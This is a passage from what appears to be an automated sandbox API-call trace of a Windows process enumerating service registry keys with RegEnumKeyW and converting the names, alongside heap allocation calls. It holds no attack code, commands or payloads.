lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.558] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.558] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.559] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.559] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.559] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0250.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.559] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.560] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.560] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.560] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0250.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0250.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0250.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0250.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0250.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0250.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0250.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0250.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, 